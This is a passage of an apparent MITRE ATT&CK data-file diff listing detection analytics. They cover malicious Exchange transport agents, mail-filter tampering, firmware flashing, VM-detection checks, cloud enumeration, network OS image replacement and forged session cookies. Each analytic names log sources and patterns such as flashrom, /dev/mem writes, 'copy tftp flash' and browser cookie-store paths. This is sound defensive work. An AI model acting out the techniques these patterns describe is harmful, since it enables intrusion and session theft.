"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Support detection of known variants: 'clear history', 'clear logging', etc." + }, + { + "field": "DeviceType", + "description": "Router, switch, firewall\u2014may have different CLI behaviors." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c94b2c2b-8885-4f5e-abec-e80ab0a24f21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0166#AN0472", + "external_id": "AN0472" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0472", + "description": "Adversary registers a malicious Microsoft Exchange transport agent DLL (.NET assembly), configures it via PowerShell or Exchange Management Shell, and persists code execution by manipulating email processing logic based on rules or headers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "May need tuning based on frequency of Exchange agent updates in environment." + }, + { + "field": "AssemblyPath", + "description": "Specific DLL paths used by Exchange for registered agents may vary between deployments." + }, + { + "field": "CmdletInvocationThreshold", + "description": "Tunable threshold for repeated use of transport agent management cmdlets." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c64ece9-c40f-4d1a-babf-106f587454d0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0166#AN0473", + "external_id": "AN0473" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0473", + "description": "Adversary installs or modifies email content filters or transport scripts (e.g., Postfix milter, Sendmail milter, Exim filters) using shell access or configuration manipulation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "milter configuration updated, transport rule initialized, unexpected script execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "linux:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailTransportScriptPath", + "description": "Path to custom scripts or filters depends on mail daemon (e.g., /etc/postfix/milter/, /etc/exim4/)." + }, + { + "field": "UserContext", + "description": "Mail agents may run under different service users (postfix, exim, etc.), which should be scoped." + }, + { + "field": "ExecFrequencyThreshold", + "description": "Frequency of filter script re-execution per daemon restart or reload may vary." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0ecdd41-a051-4ada-9ec1-c29dc0c4ac61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0167#AN0474", + "external_id": "AN0474" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0474", + "description": "Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "WinEventLog:Microsoft-Windows-Kernel-Boot", + "channel": "Firmware integrity validation failed or boot configuration tampered" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentImage", + "description": "Common legitimate flash tool chains can be allowlisted" + }, + { + "field": "CommandLine", + "description": "Flags indicating silent or forced flash may vary" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5b1514b3-e35b-4ea8-bcc1-b8e492d6d3cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0167#AN0475", + "external_id": "AN0475" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0475", + "description": "Direct write access to /dev/mem or /sys/firmware combined with usage of firmware flashing utilities (e.g., flashrom).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "auditd:SYSCALL", + "channel": "write access to /dev/mem or /sys/firmware/efi/efivars" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execution of known flash tools (e.g., flashrom, fwupd)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolName", + "description": "Custom or renamed firmware tools may require pattern matching" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--df32865a-79b2-4faa-abd4-3ecfa27c8a77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0167#AN0476", + "external_id": "AN0476" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0476", + "description": "EFI updates executed via system processes or binaries outside of expected patch windows or using unsigned firmware packages.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "com.apple.firmwareupdater activity or update-firmware binary invoked" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "macos:unifiedlog", + "channel": "boot failure events or SMC validation errors" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UpdateTimeWindow", + "description": "Firmware updates usually occur after OS update; out-of-band patterns may indicate compromise" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--39d675d5-548d-4b35-8a8f-a6605ae3835d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0167#AN0477", + "external_id": "AN0477" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0477", + "description": "Firmware image uploaded via TFTP/SCP or web interface followed by reboot or unexpected loss of connectivity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "large upload to firmware interface port or path" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:firmware", + "channel": "Firmware update initiated or bootloader tampering detected" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UploadSizeThreshold", + "description": "Size of firmware images varies by vendor" + }, + { + "field": "RebootWindow", + "description": "Reboots outside of patch maintenance may be suspicious" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04bcbbb7-bfa9-41a5-9fb8-72a6df9ad50b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0168#AN0478", + "external_id": "AN0478" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0478", + "description": "Script or binary performs a rapid sequence of system discovery checks (e.g., CPU count, RAM size, registry keys, running processes) indicative of VM detection", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Sequence of system enumeration events within X seconds" + }, + { + "field": "ProcessAncestry", + "description": "Parent-child lineage to identify potentially suspicious launch sources (e.g., Office, browser, WMI, PowerShell)" + }, + { + "field": "UserContext", + "description": "Limit to non-admin or interactive sessions if desired" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b4b3b54-d992-4f03-922a-6eec96c9342e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0168#AN0479", + "external_id": "AN0479" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0479", + "description": "Shell script or binary uses multiple system commands (e.g., dmidecode, lscpu, lspci) in quick succession to detect virtualization environment", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Burst of system info commands within X seconds" + }, + { + "field": "CommandPattern", + "description": "Regex or substring matching virtualization artifact checks" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a92bf3c-1832-453b-8ac9-24f8688d6faf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0168#AN0480", + "external_id": "AN0480" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0480", + "description": "Bash, Swift, or Objective-C programs enumerate system profile, I/O registry, or inspect kernel extensions to identify VM artifacts", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionBurst", + "description": "Threshold of sequential system checks or tools used in a short time" + }, + { + "field": "ToolName", + "description": "Specific tools used for querying device and system metadata" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a9372c6a-8d3b-420a-ad9d-8ef8d284205f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0169#AN0481", + "external_id": "AN0481" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0481", + "description": "Defenders should monitor for suspicious enumeration of cloud infrastructure components via APIs or CLI tools. Observable behaviors include repeated listing or description operations for compute instances, snapshots, storage buckets, and volumes. From a defender\u2019s perspective, risky activity is often identified by new or untrusted identities making discovery calls (e.g., DescribeInstances, ListBuckets, az vm list, gcloud compute instances list), enumeration from unusual geolocations or IPs, or rapid multi-service discovery in sequence. Correlating discovery API usage with later snapshot creation or instance modification provides further context of adversary behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", + "name": "AWS:CloudTrail", + "channel": "DescribeInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de", + "name": "AWS:CloudTrail", + "channel": "ListBuckets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5", + "name": "AWS:CloudTrail", + "channel": "DescribeDBInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Identity performing the discovery operation; tuned to filter known administrative or inventory accounts." + }, + { + "field": "GeoLocation", + "description": "Source region or IP of discovery requests; tuned to expected operational regions to detect unusual access." + }, + { + "field": "TimeWindow", + "description": "Correlation period to link enumeration calls with subsequent provisioning or exfiltration activity." + }, + { + "field": "APIThreshold", + "description": "Rate or volume of discovery calls; tuned to suppress noise from inventory management tools." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--868abb22-3d6c-4172-bf38-9e3c1aba4dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0170#AN0482", + "external_id": "AN0482" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0482", + "description": "Defenders may observe adversary attempts to alter or replace a network device\u2019s operating system image through anomalous CLI commands, unexpected firmware updates, integrity check failures, or mismatches in version and checksum validation. Suspicious behavior includes modification of image files on storage, OS version output inconsistent with baselines, unexpected reloads or reboots after image replacement, and changes to boot configuration that load non-standard system images.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration changes to boot variables, startup image paths, or checksum verification failures" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminAccounts", + "description": "Defines trusted administrator accounts allowed to modify system images; deviations indicate possible malicious modification." + }, + { + "field": "ApprovedFirmwareVersions", + "description": "Whitelist of validated vendor OS images; unexpected versions may suggest adversarial tampering." + }, + { + "field": "TimeWindow", + "description": "Correlation window for detecting config changes followed by firmware updates or reboots." + }, + { + "field": "ChecksumBaseline", + "description": "Baseline cryptographic hashes of approved system images; deviations may indicate compromise." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a6089cc-92a7-48ea-b4a4-4d4d2b6489e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0483", + "external_id": "AN0483" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0483", + "description": "Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "Web console logins using session cookies without corresponding MFA event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "AWS:CloudTrail", + "channel": "GetSessionToken, AssumeRoleWithWebIdentity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoVelocityThreshold", + "description": "Flag logins from geographically distant locations in a short timeframe." + }, + { + "field": "AuthorizedCookieIssuers", + "description": "Expected systems and services that may legitimately mint session cookies." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--305c684a-2b36-4209-9d00-778ed16de763", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0484", + "external_id": "AN0484" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0484", + "description": "Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserCookiePaths", + "description": "List of monitored cookie file paths on Windows systems." + }, + { + "field": "ProcessWhitelist", + "description": "Approved processes allowed to write to browser cookie stores." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b981ab1-eb5f-4ad0-a819-90db819a4431", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0485", + "external_id": "AN0485" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0485", + "description": "On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "Unusual processes accessing or modifying cookie databases" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CredentialFilePaths", + "description": "Paths to cookie/session storage files to monitor." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--27a0146c-0af8-4323-9c41-fbd3df9af1fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0486", + "external_id": "AN0486" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0486", + "description": "Forged cookies on macOS may show up as abnormal access to Safari/Chrome cookie databases in ~/Library/Cookies, combined with unexpected logon sessions authenticated by those cookies. Unified Logs may show cookie injection events or abnormal access patterns to Keychain when linked to browser authentication flows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "Abnormal process access to Safari or Chrome cookie storage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "macos:unifiedlog", + "channel": "New session initiated using cookies without normal MFA or password validation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedKeychainApps", + "description": "Applications permitted to use Keychain to generate cookies or tokens." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8c255ac-8ba5-4971-9e11-420a10e688ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0487", + "external_id": "AN0487" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0487", + "description": "Forged cookies in SaaS environments manifest as valid web sessions without matching login activity, MFA enforcement bypass, or cookies reused across multiple devices/IPs. Defenders should look for cookie replay, concurrent sessions from multiple geographies, or session tokens generated by unrecognized apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "m365:unified", + "channel": "Session activity without correlated login event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:access", + "channel": "Multiple 